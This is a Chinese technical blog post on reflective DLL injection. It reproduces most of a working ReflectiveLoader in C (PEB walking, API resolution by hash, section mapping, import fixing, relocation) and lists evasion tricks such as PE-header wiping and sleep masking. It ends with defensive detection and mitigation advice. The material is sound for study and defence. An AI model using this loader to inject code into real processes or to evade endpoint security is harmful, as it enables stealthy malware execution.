本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。
该技术在Windows 11 专业版 21H2 上的静态文件存在被安全软件查杀的风险,然而,在运行时,Windows Defender 并未触发任何警告。
⚙️注入原理
相较于最为经典的 CreateRemoteThread() + LoadLibraryA() 进程注入,反射型 DLL 注入取消了对于 LoadLibraryA() 的依赖。更进一步地说,加载 DLL 文件的负责人不再是 LoadLibraryA() 而是自实现的一个函数,我们暂且称为 ReflectiveLoader()。
对于 ReflectiveLoader() 的实现是存在难度的。毕竟其运行在 DLL 文件加载前,所以该函数并不能使用全局变量等数据或操作。其中最关键的一点就是定位自身的地址空间。好在天无绝人之路,还存在以下方式供我们获取得到自己的地址区域。
#pragma intrinsic( _ReturnAddress )__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }加载 DLL 文件,或者说加载 PE 结构的文件依据都来自于文件头。因此我们非常需要寻找到 image base,以供我们解析 PE 文件。我们恰好可以利用上述方式寻找到一个处于DLL 文件映射内存地址范围内的地址。显然文件头的位置应该比 caller() 函数地址要低,但是处在同一个段。因此,我们可以从后向前遍历地址,通过一些标识符来判断是否成功找到了image base。其中 PIMAGE_DOS_HEADER.e_magic 就是很好的标记,但仍然存在触发假签名的可能性。因此我们可以利用 PIMAGE_DOS_HEADER.e_lfanew 来进一步判断。
关于 PE 文件结构的分析,可以点击阅读这篇文章↗。
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address// we dont need SEH style search as we shouldnt generate any access violations with thiswhile( TRUE ){ if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--;}第二步就是我们需要加载一些 Windows 系统导出的 DLL 文件,并找到一些需要的函数。我们可以通过 PEB (Process Environment Block) 来获取进程镜像地址、模块的加载顺序链表和内存顺序链表。我们以 x86-64 架构为例子:

#ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 );#else#ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 );#else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );#endif#endif然后就能根据 hash 值获取我们需要的函数。
下述代码设计 PE 文件导出表结构,可以点击阅读这篇文章↗理解导出表索引函数的过程。
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspxuiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module listuiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;while( uiValueA ){ // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0;
// compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter );
// compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter usCounter--; }
// get the next exported function name uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } else if( (DWORD)uiValueC == NTDLLDLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter usCounter--; }
// get the next exported function name uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } }
// we stop searching when we have found everything we need. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break;
// get the next entry uiValueA = DEREF( uiValueA );}接着,我们需要将 image (镜像) 加载到内存当中:
// get the VA of the NT Header for the PE to be loadeduiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headersuiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;uiValueB = uiLibraryAddress;uiValueC = uiBaseAddress;
while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;然后,我们自然是要加载各节。我们只需要根据节区头去定位内存位置 + 文件位置,然后拷贝文件内容到内存即可:
// uiValueA = the VA of the first sectionuiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;while( uiValueE-- ){ // uiValueB is the VA for this section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section uiValueA += sizeof( IMAGE_SECTION_HEADER );}第 5 步,修改导入表结构。我们给出下表以方便理解为什么在代码中仅修改 IAT (FirstThunk)。保存 INT (OriginalFirstThunk) 是为了在一些情况下反查。
| 阶段 | IAT 内容 |
|---|---|
| 磁盘文件 | 指向 INT 的 RVA |
| 加载后 | 函数实际地址 |
// uiValueB = the address of the import directoryuiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process// uiValueC is the first entry in the import tableuiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all importswhile( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ){ // use LoadLibraryA to load the imported module into memory uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present while( DEREF(uiValueA) ) { // sanity check uiValueD as some compilers only import by FirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // get the VA of this functions import by name struct uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // get the next imported function uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); }
// get the next import uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );}还需要注意的是在拷贝数据的时候,磁盘中的数据仍然以为 DLL 会被加载在 ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase。事实上并不一定如此。故而,我们需要进行一次重定位。
// calculate the base address delta and perform relocations (even if we load at desired image base)uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directoryuiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations presentif( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ){ // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA = the VA for this relocation block uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block... while( uiValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; #ifdef WIN_ARM // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { register DWORD dwInstruction; register DWORD dwAddress; register WORD wImm; // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flip the words to get the instruction as expected dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanity chack we are processing a MOV instruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pull out the encoded 16bit value (the high portion of the address-to-relocate) wImm = (WORD)( dwInstruction & 0x000000FF); wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); // apply the relocation to the target address dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; // now create a new instruction with the same opcode and register param. dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patch in the relocated address... dwInstruction |= (DWORD)(dwAddress & 0x00FF); dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; // now flip the instructions words and patch back into the code... *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block uiValueD += sizeof( IMAGE_RELOC ); }
// get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; }}最后我们就可以调用 DllMain(),也就是进入口 AddressOfEntryPoint 了。
💉Demo
Injector:同上,只需要解析出 reflective_dll.dll 中的 ReflectiveLoader() 的 RVA 就可以计算出 VA。进而调用。
DllMain():
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ){ BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue;}当 DllMain() 被植入恶意代码时,程序将转变为恶意病毒。利用该技术的恶意代码往往具备以下优势:
- 文件静态扫描绕过
- 无文件落地:DLL利用网络(如Socket)、内存映射技术或加密片段,直接将代码写入目标进程内存,避免在磁盘上生成文件,从而绕过基于文件哈希和特征码的静态扫描。
- PE 头动态抹除:加载后,DLL会擦除DOS头(MZ)、PE头(PE\0\0)以及导出表,以此破坏内存中的PE结构特征,使得基于内存签名的扫描方法失效。
- 行为监控绕过:
- 规避敏感 API 调用:通过自主实现VirtualAlloc、GetProcAddress等功能,并结合PEB遍历和哈希匹配技术(例如ROR13),恶意代码能够解析API地址,从而避免调用高风险函数如LoadLibrary和GetProcAddress,减少被Hook的风险。
- 线程注入隐蔽化:恶意代码采用APC注入、进程镂空(Process Hollowing)或调用NtCreateThreadEx系统函数等方法,替代传统的CreateRemoteThread函数,以此减少线程创建的行为特征,提高隐蔽性。
- 内存特征隐匿:通过反射加载的DLL不会注册至PEB的InMemoryOrderModuleList中,因此常规的EnumProcessModules方法无法探测到其存在。
- 动态内存属性切换:加载后立即将内存从 RWX 调整为 RX,规避基于 RWX 页的检测规则 (如 Elastic Endpoint 的 RWX 警报)。
- 流量混淆技术:反射加载的Payload(例如Cobalt Strike Beacon)采用AES加密通信,并结合sleep_mask技术在休眠期间对内存进行加密,从而有效规避内存扫描和流量特征分析。
🛡️ 防御方案
- 内存行为监控
- 异常内存页检测:
- 连续内存分配(VirtualAllocEx + WriteProcessMemory)
- RWX 权限分配(尤其是非 JIT 进程)
- 未签名模块的内存执行。
- 工具:
- PE-sieve:扫描进程内存中的隐藏 PE 结构。
- Hollows Hunter:检测进程镂空和异常内存区域。
- API 调用链深度分析
- 用户态 Hook 结合内核回调,监控关键 API 的调用上下文:
- NtAllocateVirtualMemory 后接 NtWriteVirtualMemory 且目标为远程进程。
- 执行未通过 LdrLoadDll 加载的模块的入口点。
- 系统调用(Syscall)监控机制:检测并标记直接调用 NtCreateThreadEx、NtQueueApcThread 的非微软模块发起的线程操作行为。
- 启用硬件级防护
- 控制流防护(CFG):验证间接调用目标是否在合法导出表中,阻断非预期跳转。
- 任意代码防护(ACG):通过禁止数据页变更为可执行状态(PAGE_EXECUTE_READWRITE),有效阻断自解码 Shellcode 的执行。
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy = {0};policy.ProhibitDynamicCode = 1;SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy));- 行为基线建模
- 进程内存基线比对机制:记录并保存进程初始内存状态,定期校验代码段哈希值,以检测并识别异常内存区域。
- 机器学习异常检测,训练模型识别以下模式:
- 短时间内频繁进行内存操作以及执行未注册的模块。
- 在跨进程内存写入操作后立即触发线程的创建。
- 增强型日志与溯源
- ETW(Event Tracing for Windows)抓取:启用 Microsoft-Windows-Threat-Intelligence 提供者,捕获 MemInject 和 RemoteThreadCreate 事件。
- 内核回调监控:使用 ObRegisterCallbacks 拦截进程句柄获取,阻断高权限进程的非法访问。
总得来说,我们可以简单使用下表理清思路。
| 攻击方技术演进 | 防御方应对策略 |
|---|---|
| 抹除 PE 头 + 碎片化存储 | 内存熵值分析 + 代码段哈希校验 |
| 系统调用替代 WinAPI | 监控 syscall ID 异常调用链 |
| 休眠内存加密(Sleep Mask) | 定时内存扫描 + 异常页触发检测 |
| 反射加载器动态混淆 | 函数指针完整性校验(CFI) |
防御的核心在于打破反射加载的依赖链,即利用内存保护、行为监控以及硬件特性,确保自主加载过程无法隐蔽进行。而攻击方持续通过结构抹除、系统调用和流加密升级对抗检测,形成动态博弈。
